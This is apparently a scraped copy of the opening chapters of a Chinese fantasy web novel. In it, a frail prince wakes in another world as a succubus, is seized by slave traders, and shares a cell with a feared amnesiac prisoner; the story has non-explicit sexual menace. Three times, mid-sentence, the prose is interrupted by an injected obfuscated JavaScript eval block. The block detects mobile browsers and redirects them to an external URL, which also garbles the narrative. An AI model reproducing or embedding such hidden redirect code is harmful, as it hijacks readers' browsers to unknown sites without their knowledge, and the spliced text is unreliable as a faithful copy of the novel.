《温柔魅魔今天也在被觊觎》 1. 穿越 姜楚韫睁开眼睛,望着身边堆积如山的、落满灰尘的杂物,眼神里满是迷茫。 他不应该在自己寝殿里吗? 就算他已经去世,父皇母后也不会让人把自己的身体搬到这么个破败地方来吧? 还是说这里是阴曹地府? 马上会有无常来勾走他的魂? 缠绵病榻多年,姜楚韫对自己的死早有预见,他相信父皇母后还有皇兄他们,也有足够的心理准备,所以现在并没有特别悲伤。 只是,怎么人死了还会这么疼啊…… 姜楚韫倒抽一口凉气,委屈地皱起眉心,抬手想摸一下疼得几乎快要炸掉的的脑袋,指尖却触碰到一段坚硬冰凉且带着弧度的硬物。 他手顿住,这是什么东西? 不是特别大,尾端没入他的头发。 摸着它的形状…… 就像是幼犊的犄角。 姜楚韫心脏怦怦跳。 还没等他反应过来,一条末端带着心形尖尖的尾巴便不安地缠上了他的手臂。 姜楚韫眼睛唰地瞪大,整个人晕乎乎地顺着尾巴看过去,尾巴末端消失在自己身后,那条尾巴仿佛感应到了他的注视,更紧地缠着他的手臂。 姜楚韫脑袋里冒出一个不好的猜测,顺着尾巴往后摸,最后停在了自己尾椎骨的位置。 姜楚韫懵了懵。 我怎么长尾巴了! 好奇怪的梦……但是梦里真的能有这么真实的触感吗?就连伸手触摸尾巴时,身体深处泛起的那股酥酥麻麻的感觉都……都很真实。 他掐了一下自己的脸。 “好痛!怎么不是梦……” 这下他真的开始慌了,环顾四周,阁楼里的东西看起来都很陌生,只有一部分小玩意,他曾经在远渡而来的西洋商人货船上见过。 现在的情况完全超出了认知。 姜楚韫用力推开窗户,阳光照了进来,但看清外面场景的瞬间,心中却一片冰冷。 ——这不是他生活的国家。 石砌房子垒砌得紧密齐整,一间间立在碎石街道旁,店铺周围有铁栅栏,门头挂着铁制广告牌,上面写着奇怪的字符,不是他认识的文字。 这到底是哪里…… “砰——!!” 楼下忽然传来巨响。 姜楚韫被吓得心脏猛地一跳。 他敏锐地察觉到危险,在阁楼里环视一圈,找了个破旧的衣柜,小心翼翼躲进去。 视野顿时陷进一片黑暗里。 但现在这种情况,黑暗反而让人安心。 没过多久,阁楼的门被人踹开。 沉重的脚步声和嘈杂的人声涌了进来。 一道粗犷的声音响起。 “那老东西欠了老子一屁股债,现在说跑就跑,搜!老子不信他什么都不给他儿子留!” 姜楚韫屏息凝神,认真听着。 意料之中,是陌生的语言,但他能听懂这句话的意思……或许是和身体的变化有关。 男人手下似乎有些不情不愿:“老大,你没看见楼下吗?那老头连画上的银屑都刮干净了!有必要浪费时间搜这个破阁楼吗……我看还不如直接用老办法,把他儿子抓了去卖奴隶。” 姜楚韫抿紧嘴唇,这些人听着像奴隶贩子,感觉不好惹,被抓到下场肯定会很惨。 他的呼吸声又放轻了一点。 一拳打到肉的闷声骤然响起,刚刚出言反驳的手下捂着脸,痛苦地倒在地上。 本来有怨言的人顿时不说话了。 姜楚韫看不见外面的情况,只能从窸窸窣窣的声音判断,他们已经开始搜查阁楼了。 姜楚韫心脏骤然一紧。 他这个衣柜很明显,肯定…… 下一刻,面前紧闭的柜门被人拉开。 刺眼的光照了进来,姜楚韫闭了闭眼。 本来漫不经心的壮汉看呆了。 穿着一身素色里衣的少年怯生生跪坐在柜中,黑色的长发披散,衬得皮肤更加瓷白。 像一尊被娇藏的瓷娃娃。 不知道先前多被人万千呵护…… 少年睁开眼,居然是黑瞳。 更显眼的是他发间无声探出的那对犄角,以及身后正不安地晃来晃去的那条尾巴。 壮汉心口一阵燥热,忍不住爆了句粗口,旋即弯下腰,无视少年的挣扎,用力地抓住姜楚韫的胳膊,强行把他从衣柜里拽了出来。 “靠!这居然藏了只魅魔!” 姜楚韫被一群人围住,退无可退。 他看见壮汉用下流的眼神凝视自己微微敞开的衣襟,语言恶俗:“那老东西还挺会藏,给他儿子留了个这么带劲的小老婆,哈哈哈……” 不知道是谁抓住了他的手。 姜楚韫拼命挣扎,但他从小卧病在床,体力很差,面对一群肌肉大汉,很快就被制住。 壮汉将麻绳粗鲁地勒紧在他的手腕上,粗糙的绳子瞬间把细白的手腕勒出一道道红印。 “卖了这么多只魅魔,还是第一次遇见这种发色和眼睛的,再加上这张漂亮的脸……哈,拍卖行那边肯定满意这个,这趟值了!” 混乱中,姜楚韫捕捉到关键词。 ……魅魔?是说他现在的样子吗? 奴隶贩子的队长把他拽下楼,绑住手脚后推进马车里,混乱中,不知道是谁还趁机摸了一下他的手,那人被队长狠狠抽了一巴掌。 “别和只知道发/情的畜生一样,这是要给拍卖行的货,有色心也不看自己配不配,要是敢坏我的财路,把你们所有人皮都扒了!” 底下的人不情不愿应了声。 姜楚韫手被反绑在身后,水润的眼睛瞪大,一张漂亮的脸被突如其来的变故吓得煞白。 队长见状,心中轻蔑。 “果然所有魅魔都一个样。” 空有一张漂亮的脸,但没有任何自保的能力,稍微一调/教就能激发出浪荡的本性。 虽然这个发色和传闻中的恶魔一样……但怎么可能会有恶魔长这样一张漂亮的脸蛋? 队长亲自驾车运送他。 马车在颠簸不平的道路上前行,车厢内不知道运送过多少批奴隶,散发着浑浊的气味。 车厢内只有一个看守。 他视线游离在姜楚韫半遮半掩的领口处,眼神里充满欲望,一张脸泛着兴奋的红晕。 姜楚韫在对方令人煎熬的眼神里,尽量不做任何刺激对方的事,不知道过了多久。 “吁——” 马车停下。 马车外是队长的声音。 “原地休息,待会通宵赶路。” 几乎所有人都下车活动。 车内的看守却一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224346|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动不动。 过分安静的环境让对方粗重的呼吸格外明显,忽然,空气里多出一股怪异的气味。 姜楚韫瞪大眼睛看向看守。 对方脸很红,身上那块脏掉的地方也很明显,但眼睛无神,就像被什么夺了心魂。 看守目光呆滞地盯了他好一会,几息后眼神骤然清明,嘴里骂了句粗话:“该死,这魅魔的情/热期怎么这时候来……靠,搞得老子这么丢脸!” 车厢内的气味让他脸色一黑。 他匆匆到外面处理身上的脏污。 姜楚韫并没有放松。 情/热期……是什么? 他听见有人嘲笑看守发/情,紧接着,看守气急败坏地说了句什么,外面那些人的脚步瞬间急促起来,没多久就把队长带了过来。 马车的帘子被队长掀开。 姜楚韫不安地往里缩了缩。 队长一看见姜楚韫的样子就低骂一声,“靠!幸好现在发现了,这种情况把他带出去,还来不及把他卖了,就要被一群人抢走玩坏了。” 姜楚韫完全听不懂他们在说什么,但他确实感觉自己的身体开始变得热热的。 眼睛蒙着一层水光,尾巴无力地蜷在腿边,尾尖因为身体难受,偶尔轻轻抽动一下。 “我让你去拿的药呢?”队长对看守说,“在拍卖开始前,先用药把他的情/热压下去。” 队长拿着药接近姜楚韫,后者下意识挣扎后退,但被对方强行按住身体,冰凉苦涩的药剂强硬地抵到唇边,粗鲁地灌了进去。 冰冷的液体被强行灌进喉咙里,姜楚韫剧烈地咳嗽起来,眼睛都沁出眼泪。 等队长确定情/热正在被压下,这才开口:“这里有我们的人,把他留在分部。” 手上的药剂不够了,车队等不了那么久,没有药,万一路上他情/热期发作…… 队长心中冷笑一声。 贩运奴隶的车队那么多人,只要有一个人精/虫上脑没忍住,场面就没办法控制了,到时候这病殃殃的魅魔,说不定会被活活玩死。 姜楚韫察觉到几股恶意对准自己,但他无暇顾及这些人了,药剂压下情/热期的感觉很不舒服,再加上身体里先天带着的寒症,三者相冲,让他汗涔涔的,五脏六腑仿佛都被人绞紧。 马车拐进小道,很快就到了地方,车夫和分部的人对了暗号,里面出来一个人:“怎么这时候送人来……啧,只剩下一间牢房有地方了。” 看清姜楚韫的脸,分部的人眼神一动,原本骂骂咧咧的话卡在喉咙里,不说了。 勉强能够站起来的姜楚韫被人半拖半拽地带到一扇铁门前面,“拍卖之前,你就住这里。” 牢房的环境比姜楚韫想象中好一点,虽然潮湿简陋,但至少没有霉味了。 姜楚韫主动走了进去,身后的铁门瞬间落锁,他不在意,只是仔细观察环境。 忽然,他的瞳孔骤然缩紧。 ……牢房里还有另外一个人。 这里没有烛火,高窄窗户透进来的阳光根本没办法照亮房间,直到这时,姜楚韫才发现房间的阴影中正坐着一名面容冷淡的男人。 男人高鼻深目,一双如森山翡翠的深绿色眼睛格外瞩目,只是眼神冷漠,让人从骨子里感到一阵寒意,充满了不近人情的压迫感。 ……看起来不太好相处。 2. 五十八号 男人的眼神平静,只是坐在那里,就让姜楚韫感觉自己被从头到脚审视了一遍。 对方忽然起身,径直朝他走过来。 身上如有实质的压迫感让姜楚韫下意识后退一步,反应过来后,鼓起勇气打招呼。 “你好……我叫姜楚韫。” 刚刚他已经观察过了,自己虽然不认识这里的文字,但语言交流应该没有问题。 姜楚韫紧张地看着男人。 面对他善意的示好,男人只是垂下那双冰冷的眼睛,像是在观察他,并没有说话。 姜楚韫眨了眨眼,努力露出友善的微笑,但男人并没有理会他的示好,侧过身体,直接越过他,走到牢房的另一边做自己的事。 走道很窄,姜楚韫站的地方刚好在路中间,虽然另一人侧身也可以过去,但狭窄的环境,两个人不可避免地会有一些身体接触。 男人似乎皱了皱眉。 穿越到陌生世界,又被一群凶神恶煞的奴隶贩子关进牢房里,姜楚韫本身有些不知所措,现在被人这么无视,心里反而有点生气了。 他委屈又生气地想,自己以前在皇宫里锦衣玉食,什么时候被人这么对待过。 姜楚韫摸了摸手腕上被麻绳勒出的红痕,知道现在不是愁眉苦脸的时候,抬手用力拍了拍脸,努力调整好心态后,开始观察四周。 这间牢房虽然很小,但该有的东西一样不少,铁门上只有一个用来观察内部的小窗格。 他在来的路上见过别的牢房,不仅毫无隐私,床也只是一堆不算干净的稻草,自己这的几张床,就算破破烂烂的,好歹还有个床的轮廓。 ……就是感觉挨得太近了,晚上翻身的时候,都怕会翻到对方的床上。 他视线转到男人的床上。 床框的木头上写了几个字。 因为完全陌生的语言,来到这个世界以后,虽然可以听懂,但阅读的能力完全丧失了,不过这些简单的文字还是可以看懂的。 ——五十八号。 应该是男人的代号。 姜楚韫在心里默念了一下,想起男人刚刚的举动,忍不住点点头,确实是王八蛋。 从小到大的教养让姜楚韫说不出什么很难听的话,就算心里不高兴了,也只是板着一张脸,一声不吭地找到自己的床位躺了上去。 刚刚观察了一圈,姜楚韫只能确定一件事,这个五十八号能住在还算干净的环境里,在犯人里的地位应该还挺高的,是有什么特殊的吗? 思索中,他的尾巴软趴趴垂了下来,五十八号路过的时候还不小心碰了一下。 为了展示自己的怒火,他愤怒地甩了下尾巴,结果因为太用力,不小心磕到了床上,痛得他尾巴僵直一瞬,蜷了蜷,晃晃悠悠落在了地上。 好疼…… 尾巴似乎比身体的其他部位都要敏感,这一下疼得他脑袋里嗡嗡的,为了不发出痛呼,只能用力地咬住嘴唇,趴在单薄的被子上。 许久之后,阵痛缓解。 姜楚韫难受地趴在床上。 短短一天,发生了很多事。 来到了陌生的地方,遇到了一群讨厌的人,他从小被娇惯,第一反应就是逃避。 ……但是不行。 要努力活下去。 强行压下情/热期对身体造成了太大负担,姜楚韫睡眼惺忪地揉了揉眼睛。 打了个哈欠,闭上眼。 不知道过了多久,外面再次传来脚步声和钥匙响动,面容粗犷的人贩子走了进来。 他阴鸷的目光先扫过角落里的姜楚韫,看见他虽然脸色苍白,但呼吸还算平缓,松了口气。 他吩咐旁边的手下。 “看着点,别让这个商品病死了就行。身体这么差,还是个魅魔,真是麻烦……” 人贩子的余光瞥见五十八号几不可察地侧了下头,正是朝着那只魅魔的方向。 关心? 不,不可能。 ……靠,不会是想弄死吧! 那个五十八号就像没有人类的感情一样,现在就是个烫手山芋,留着放掉都是大麻烦。 要不是之前他……想想就吓人。 人贩子觉得晦气,没有多待,命令手下盯紧他们这边,魅魔真被搞死了,他没法交差。 到了晚上,姜楚韫才悠悠转醒。 没过多久,门下方的小口被推进来两份晚饭,粗鲁的动作让里面的汤都撒在了地上。 看守粗声粗气地警告他们。 “快点来吃,别耍什么花样!” 姜楚韫看着只飘着几根菜叶的汤,以及混着沙石的黑面包,吃第一口就感觉反胃,但他知道不吃就会死,忍着反胃强行吃完了。 胃里一直在犯恶心。 他蜷缩在单薄的毯子里,几缕被冷汗浸湿的头发黏在苍白的额角与脸颊边。 从小只□□米细面的身体开始抗议,他白着脸躺在床上,咬住下唇,尽可能一声不吭。 他甚至还有心思苦中作乐。 虽然上午睡了太久,现在睡不着了,不按照现在这个情况,他应该很快就会痛晕过去。 ……唉,痛晕就痛晕吧。 醒着真的好痛、好痛啊。 * 胃里的灼烧感折磨了姜楚韫半晚上,到后来他都不记得自己是什么时候睡着的了。 也有可能是真的痛晕了。 第二天迷迷糊糊睡醒。 五十八号不在房间里了。 铁门开着,没有人贩子在门口看守,他下床扒住门框,谨慎地观察外面的情况。 他有些期待是五十八号越狱了,这样不管自己能不能趁机跑出去,之后都不用再见到这个人了。 可惜看守很快就回来了。 “朝外面瞎看什么!快回去!” 姜楚韫在心里把他骂了一顿,表面上还是乖乖的回房间坐着:“五十八号去哪里了?” 看守似乎听见了什么好笑的事。 “你难道要和五十八号比?他可是……” 边上有人用胳膊肘推了推他,示意看守闭嘴,“不是说这魅魔娇贵得很,你把他吓出问题来,到时候上面找麻烦,你担着?” 看守闻言闭嘴,怜悯地看着姜楚韫。 “也不知道上面发什么疯,把你这么重要的商品和这个疯子关在一起,啧……” 他越是语焉不详,姜楚韫就越好奇。 边上的人说:“行了,别说了。” 说着,他们就讳莫如深地想关门。 眼见着铁门慢慢合拢,姜楚韫立刻抓住门沿,因为力气不够,差点被夹到了手。 看守骂了一声,一把推开他。 “靠!存心想害老子是不是?” 姜楚韫往后退了一步,勉强站稳身体。 “你们不告诉我,万一我不小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224347|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹他生气,被他……”姜楚韫不太想诅咒自己,含糊地说了句,便说,“最后还是你们被追责。” 看守盯着他看了好一会,气笑了。 “你刚刚问我,为什么五十八号能出去……我告诉你,因为我们根本就关不住他!” 姜楚韫眉心微微蹙起。 关不住……这是什么意思? “他刚被弄进来的时候,可不是一个人住这间。”看守回头看了看空旷阴森的走廊,又瞥了一眼牢房内空着的几张床,“起初是四个人一间……结果第二天早上,另外三个,全死了。” 一股寒意猛地窜上姜楚韫的脊背。 “死相那叫一个惨……”看守的声音就算极力掩饰,依然能听出某种惊魂未定的后怕,“就是骂了他几句,就把人杀了,简直是疯子!” 回忆起那天,看守忍不住咽了咽口水。 那场面,和单方面的屠杀也没区别了。 姜楚韫按住门框的手指微微发白。 心头涌出一阵寒意。 虽然他早就猜到五十八号不简单,但没想到这个人这么恐怖:“为什么不放了他?” 看守朝地上啐了一口。 “你以为我们不想放?打不得卖不了的疯子,留着也浪费我们的钱,是他不走!” 姜楚韫不理解地皱起眉。 看守指了指脑袋,满脸晦气。 “靠……他这人脑子不知道被谁打坏了,什么都不记得,也不知道在想什么,不走!” 简直是神经病! 看到姜楚韫微微发白的漂亮脸蛋,原本心中后怕的看守不由心神晃荡,流里流气道:“只要他不闹事,我们就当养个煞星了,但你嘛……” 看守下流地笑了一声。 姜楚韫猜到他想说什么了。 来到这个世界之后,没了皇室身份,自己这张脸带来的全是祸端,但他却不得不被迫承受这些人恶意的凝视,甚至展现弱势,博取同情。 果然,看守不怀好意地说:“你要是不小心惹到他了,说不定哭两声,还能靠你这张脸活命。” 这句话下流且充满侮辱性,恶意明显,但姜楚韫听完却只是抿了抿唇,没有说话,也没有露出被羞辱后感到难堪的表情。 没见到少年被羞辱的姿态,看守顿感无趣,甚至有些恼羞成怒地嗤笑一声:“接下来你自己自求多福吧,至于出去……别做梦了!” 看守不再给姜楚韫发问的机会,“哐当”一声,毫不留情地把铁门用力合上。 姜楚韫背靠着冰冷的铁门冷静了一会,开始复盘现在获得的信息。 本来他还想等以后,从五十八号那套出一点关于这个世界的信息,现在看来很难了。 姜楚韫心里有些焦虑。 身边有个这么危险的人,再加上不知道自己什么时候就会被带去拍卖,不确定因素太多了,等到奴隶贩运队的人回来,一切都晚了。 姜楚韫的思绪越来越投入。 忽然,他感觉自己被一股熟悉的冷意笼罩,全身的血液在这一瞬间仿佛都凝固了。 姜楚韫猝然抬头。 五十八号站在他面前。 ……什么时候来的? 刚刚房间里明明没有人。 男人垂眸看着他。 “问出来我的事了吗?” 声音里没有一丝情绪。 姜楚韫的心脏猛地一跳。 3. 高热不退 这是姜楚韫第一次听到五十八号的声音,和他本人一样,冷冰冰的没有丝毫感情。 甚至带着某种威胁的感觉。 五十八号怎么会知道自己做了什么? 他当时特意观察过四周,没有别的人…… 姜楚韫心中不寒而栗。 他感到某种无形的压力笼罩下来,让人产生一种自己正被人从暗处审视的颤栗。 姜楚韫下意识说:“没……” 五十八号对他的回答没有任何兴趣,略带警告地看了一眼,径直掠过他身边。 男人摆明了在警告他安分一点。 姜楚韫也不想自讨没趣地凑过去。 外面的看守正在闲谈。 隐约飘进来“拍卖会”的字眼。 这是一把悬在头上的剑。 被关在这样狭小的地方,能做的事情有限,比起被讨厌,姜楚韫更不愿意坐以待毙。 回忆起看守的话,姜楚韫知道自己什么都不做一定会死,心里冒出一个大胆的想法。 他叫住五十八号:“等等!” 五十八号没有理会他。 姜楚韫压下心中的恐惧,迅速起身,小跑到五十八号身后,用力握住他的手腕。 男人身上的寒意更重了,两人皮肤相贴的位置骤然腾起一道魔力,姜楚韫的手瞬间被灼伤,火辣辣的疼痛让他下意识松开手。 姜楚韫心脏跳得飞快。 “我确实是想了解你……” 他紧张地垂下眼睛,好像完全没意识到自己这句话带着一点暧昧的歧义,屏住呼吸强压恐惧时,脸上泛起一层薄红,看着就像害羞。 原本已经离开的五十八号脚步顿了顿,他面无表情地回头,眼神莫辨,“什么意思。” 姜楚韫是故意这么说的。 看守的话虽然恶意满满,却也没错,现在这种情况,漂亮就是他可以利用的优势。 姜楚韫握紧掌心,压下那阵灼痛。 “你有能力逃出去,为什么不走?” 因为这段时间吃得不好,姜楚韫的脸瘦了很多,黑色的眼睛睁得圆圆亮亮的,小猫似的,看着有些可怜巴巴,再心硬的人也忍不住怜爱。 姜楚韫努力瞪圆眼睛装可怜。 初次勾引人的魅魔自以为游刃有余,其实身后柔软的尾巴,一直在不安地晃来晃去。 五十八号的眼神冷淡审视。 胆小、柔弱、身上总带着一种不合时宜的天真,这是他对姜楚韫的全部印象。 因为失忆,他对这个世界的一切都很警惕,所以也格外厌恶被人算计欺骗,偏偏遇到的每个人都奸诈狡猾,所以他把这些人全都杀了。 姜楚韫现在也在算计他。 他本来应该立刻杀了这只魅魔,但对方一眼看得到底的单纯,让他提不起动手的兴趣。 本来对方的算计就不高明,因为那双单纯的眼睛,倒显得像是他在欺负人一样。 杀死一只孱弱的魅魔很简单,但他没必要这么做,他反而更好奇这个魅魔想做什么。 勾引他吗? 他不会被勾引到的。 姜楚韫不知道他在想什么,心中握拳。 很好!五十八号好像很吃这一套! 五十八号驻足停下,却没有回答姜楚韫的问题,后者丝毫没有气馁,继续道:“我只是觉得你这么厉害,不应该一直待在这里。” 五十八号答非所问:“你不怕我?” 姜楚韫违心开口:“当然不怕你呀。” 好吓人!! 怕死了!!! 五十八号盯了他很久,久到姜楚韫心里都有些发毛,开始怀疑对方的意图了。 他发现男人没有人类情感的视线落在自己的脖颈上,就像在考虑怎么杀了他一样。 姜楚韫瞬间出了一身冷汗。 五十八号忽然抬手伸向他的方向。 姜楚韫睫毛微颤,下意识躲开。 五十八号的手停在半空中。 空气里响起一声讥嘲的笑。 刚刚还算平缓的气氛骤然紧绷。 “不怕我?” 反应过来自己反应过激,姜楚韫露出心虚的表情,尾巴乖乖地卷上五十八号的手臂。 尾巴像撒娇一样轻轻晃了晃。 “我还以为你要杀魅魔了呢。” 虽然他试图开个玩笑缓和气氛,但是从五十八号面无表情的反应来看,自己显然失败了。 五十八号冷着脸没有说话。 姜楚韫识趣地把尾巴收了回来。 片刻后,男人满身寒意地转过身。 “既然怕我,以后就离我远一点。” * 姜楚韫本身也是被千娇万宠养大的,这是他第一次对人撒娇,却没被对方好好接着。 甚至还反过来被威胁了! 直到晚上睡觉他依然气鼓鼓的。 离你远一点就离你远一点,在我离开这个鬼地方之前,我绝对不会再和你说话了! 房间里响起轻微的“咚咚”声。 五十八号侧目看着姜楚韫的方向。 姜楚韫把自己全身都裹进了毯子里装睡,但露出毯子的尾巴尖正在无意识地拍打着床板,泄露了主人心里那点不服气的小情绪。 姜楚韫浑然不觉自己已经暴露,在心里邪恶地诅咒五十八号生病感冒发烧难受死。 自己真是太恶毒了。 骂着骂着,意识渐渐模糊。 有点困了,明天再骂吧。 或许是因为白天情绪起伏太大,再加上身体的底子实在太差了,迷迷糊糊睡到后半夜,他体内再次被那股来势汹汹的寒意包裹。 姜楚韫感觉自己陷进了梦魇里,不管怎么裹紧身上的毯子,浑身上下都很冷,皮肤冷得发麻,像泡在冰水里似的,越来越僵硬。 姜楚韫咳嗽起来。 他好想回到皇宫啊。 以往寒症发作的时候,母后会在房间里烧上金丝炭,再命人拿来几个裹了绒布的汤婆子,他本能地在床上翻来覆去,寻找熟悉的热源。 结果翻来覆去好半天—— 汤婆子没找到,被子里好不容易积攒的一点热气,还被他蛄蛹蛄蛹的动作弄凉了。 寝殿里就不会这么冷。 姜楚韫在昏沉中痛苦地蜷缩起来,牙齿不受控制地打颤,喉咙里溢出细碎的呜咽。 真的要冷死了…… 单薄的衣服早就被冷汗浸透,紧贴着身体起伏的腰线和脊背轮廓,大脑遵循着求生的本能,在房间里寻找可以温暖自己的东西。 他感觉到不远处有一个热源。 冰凉的小腿蹭过被褥,无意识地朝温暖的地方挪动,最终碰到了一具坚硬滚烫的身体。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224348|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜楚韫指尖触碰到那人的同一瞬间,一股不容抗拒的力量立刻按在他的脖颈上。 姜楚韫声音短促:“呃……!” 五十八号在看清他的瞬间就收敛力道,力道依然不轻,意识昏沉的少年被迫仰起头。 五十八号微微皱眉。 直到这时他才注意到,少年的瞳孔微微涣散失焦,里面蒙着一层湿漉漉的水光。 ……怎么生病了? 怎么会有这么脆弱的人。 听说魅魔生性风流浪荡,他还以为…… 五十八号眼神里闪过一瞬的不自然。 在五十八号冷冽的注视下,姜楚韫做出了一个令他完全出乎意料的动作—— 少年偏过泛红的脸颊,主动贴上男人宽大的掌心,柔软的脸颊肉因为这个动作陷进了他的掌窝,甚至还无意识地轻轻蹭了一下。 少年睫毛濡湿,轻声呢喃。 “抱抱我,我好冷……” 五十八号愣怔一瞬,迅速松开手,对方的身体失去支撑,顿时软软地朝他倒过来。 左脸传来一阵极其细微的刺痛。 姜楚韫发间那对漆黑的犄角尖端划过他的脸,同时一丝极淡的鲜血铁锈味弥漫开来。 姜楚韫精致的鼻尖几不可察地动了一下,仿佛嗅到了什么,在五十八号深沉莫测的注视下,他探出一点舌尖,抬头用舌尖卷走那滴血。 魅魔果然和传闻中一样。 五十八号眼神晦暗地推开少年。 许久后,他抬起拇指的指腹,按上了对方的下唇,缓缓将上面沾上的血色均匀抹开。 苍白的唇瓣被碾磨,瞬间染上了一层如同熟透浆果的殷红,却又因为主人毫无知觉的顺从,以及唇上的水光,透出一种天真的的媚意。 五十八号的力道放大。 因为嘴唇被人用手指粗暴地碾磨,意识昏沉的姜楚韫吃痛般微微皱起秀气的眉毛。 喉咙里发出像撒娇的呜咽。 听到声音,五十八号像是被什么烫到,愈发深沉的眼神骤然清醒,猛地收回了手。 他脑袋里又冒出了那句话。 魅魔果然和传闻里一样…… 他没有丝毫犹豫,手臂穿过姜楚韫的膝弯和后背,抱住半靠在自己身上的少年,毫不怜惜地将对方放回了那张冰冷的硬板床上。 少年重新蜷缩起身体,因为牢房里一片死寂,五十八号能听清对方越来越微弱的呼吸。 五十八号漠不关心地想。 这个魅魔今晚肯定会死。 “……” 麻烦。 他并不在意这个魅魔会不会死,但是尸体会引来盘问,会破坏他现在还算清净的生活。 甚至因为珍贵商品死亡,可能还会导致看守加强戒备,带来更多不必要的关注和限制,影响到他的计划。 而且…… 五十八号睁开眼。 说不定下一个被塞进来的人会更麻烦,至少这个魅魔,在大部分时间里都很安静。 五十八号权衡利弊后,走到姜楚韫床边,脸上没有任何表情,甚至比之前更冷几分。 他伸出手,掌心朝下悬停在姜楚韫身体上方,一股耀金色的光流从他掌心洒落下来,形成一个几乎看不见的光罩,将少年笼罩其中。 周身的冷意渐渐散去。 姜楚韫的呼吸逐渐平稳。 4. 乌发白衣 姜楚韫是被热醒的。 迷迷糊糊中扯了几下衣领,身上那股热意忽然消失,冷得他又打了个喷嚏。 耳边传来笔尖划过纸张的声音。 他揉揉眼睛,环顾四周,看见五十八号坐在那张破旧的桌子前面,不知道在写什么。 在写什么倒是其次。 姜楚韫只有一个念头—— 看守居然会专门为他弄来纸笔。 难怪五十八号不打算离开。 因为强悍到恐怖的武力值,哪怕在穷凶极恶的奴隶贩子这,他也能过得如鱼得水。 姜楚韫撑起身,看向对面。 他深吸一口气,压下喉咙的干痒,尽量让声音听起来更平稳:“昨天……谢谢你。” 昨夜破碎的记忆很破碎,但有一件事他很确定,在没有任何保暖措施的情况下寒症复发,他本来必死无疑,是五十八号用魔法救了他。 不知道五十八号为什么要救他,但对方的态度转变了,这是好事,他要抓住这个机会。 想逃出去,还得利用这个人。 五十八号没有回应他。 姜楚韫早就猜到不会那么顺利,并不气馁,他掀开毯子,忍着身体的虚弱下了床。 虽然五十八号救了他,但他们之间并不是那种良性的平等关系,在他无法给出同等价值的回报之前,示弱也是他的一种手段。 ……其实有点讨厌现在这种感觉。 以前在皇宫,从来不需要考虑这些。 姜楚韫抿唇鼓起半边脸。 上辈子唯一一次担心以后过得不好,还是因为皇兄故意吓他,说他会被赶出皇宫。 那时他裹在江南新贡的锦被里,嫌御膳房煨的银耳羹不够甜,蹙着眉抿了一小口便不肯再喝,母后便宠溺地让人换了更甜的蜜酿。 太子在一旁摇头笑着,伸手揉乱他因久卧而松散的头发,语气半是调侃半是真心。 “我们小韫啊……被养得这般娇气,要是离了皇宫,怕是连杯合口的热水都讨不着。” 姜楚韫听了不服气,蜜酿也不喝了,抬眼瞪回去,只是因为大病初愈,声音软绵绵的,没什么威慑力:“干嘛?你才没资格赶我走呢。” 太子沉声:“大胆,孤可是一国太子。” 他故意摆出太子的架子,压低嗓音吓人。 姜楚韫立刻窝进皇后怀里撒娇。 “母后,太子哥哥要把我赶出皇宫。” 等待母后说话的同时,他在心里思考了一下,如果真的被赶出皇宫,会怎么样呢? 应该也没什么,就算真的离开了,又能难到哪里去?衣食住行,总有人会打点好的。 他生来便活在层层叠叠的柔软锦绣与无微不至的呵护里,烦心的事从不会闹到他面前来,以至于他对外界的险恶世道知之甚少。 “你太子哥哥说错了不成?哪个皇子像你这般娇气?”皇后嗔怪地刮了一下他的鼻子,嗓音很温柔,“哪个皇子又像你这般爱告状?” 皇后嘴上说的是责怪,但语气里却丝毫没有不耐烦,反而眉梢眼角满是宠溺。 姜楚韫委屈地哼哼两声。 皇后说完这番略显责怪的话,扭头却笑着对太子挥了挥手:“别在这里吓小韫了。” 太子对皇后的偏心见怪不怪。 毕竟他也很疼爱这个弟弟。 姜楚韫对太子做了个鬼脸。 “改天就让父皇把你废了。” 太子的几个随行侍从吓得面面相觑,双腿一软,差点就当场给小皇子跪下了。 直到确认皇后和太子都毫无怒色,这才战战兢兢地跟在太子身后离开,表情欲哭无泪。 哪怕现在处境这么艰难,想到当时几个侍从的表情,姜楚韫还是没忍住笑了一声。 真是想不到啊…… 以前太傅讲那些纵横捭阖、人心利用,他从来不好好听,学得也是皇子里最差的那个。 现在居然要用另一种方式拾起来。 这样一看,在求生的欲望面前,以前他觉得天大的事,现在看来好像都没什么了。 等姜楚韫回过神,发现五十八号在看他,和之前不同,这次男人的眼神里带着审度。 “你刚刚在想什么?” 姜楚韫的心咯噔一下。 五十八号这么厉害,会不会有读心的魔法?万一他发现自己不是这个世界的人…… “我在想,你昨天为什么要救我?”姜楚韫歪头装傻,“你脸上怎么受伤了?” 五十八号面无表情地看他一会,重新把脸转了回去,只留下一个冷酷的背影。 姜楚韫松了一口气。 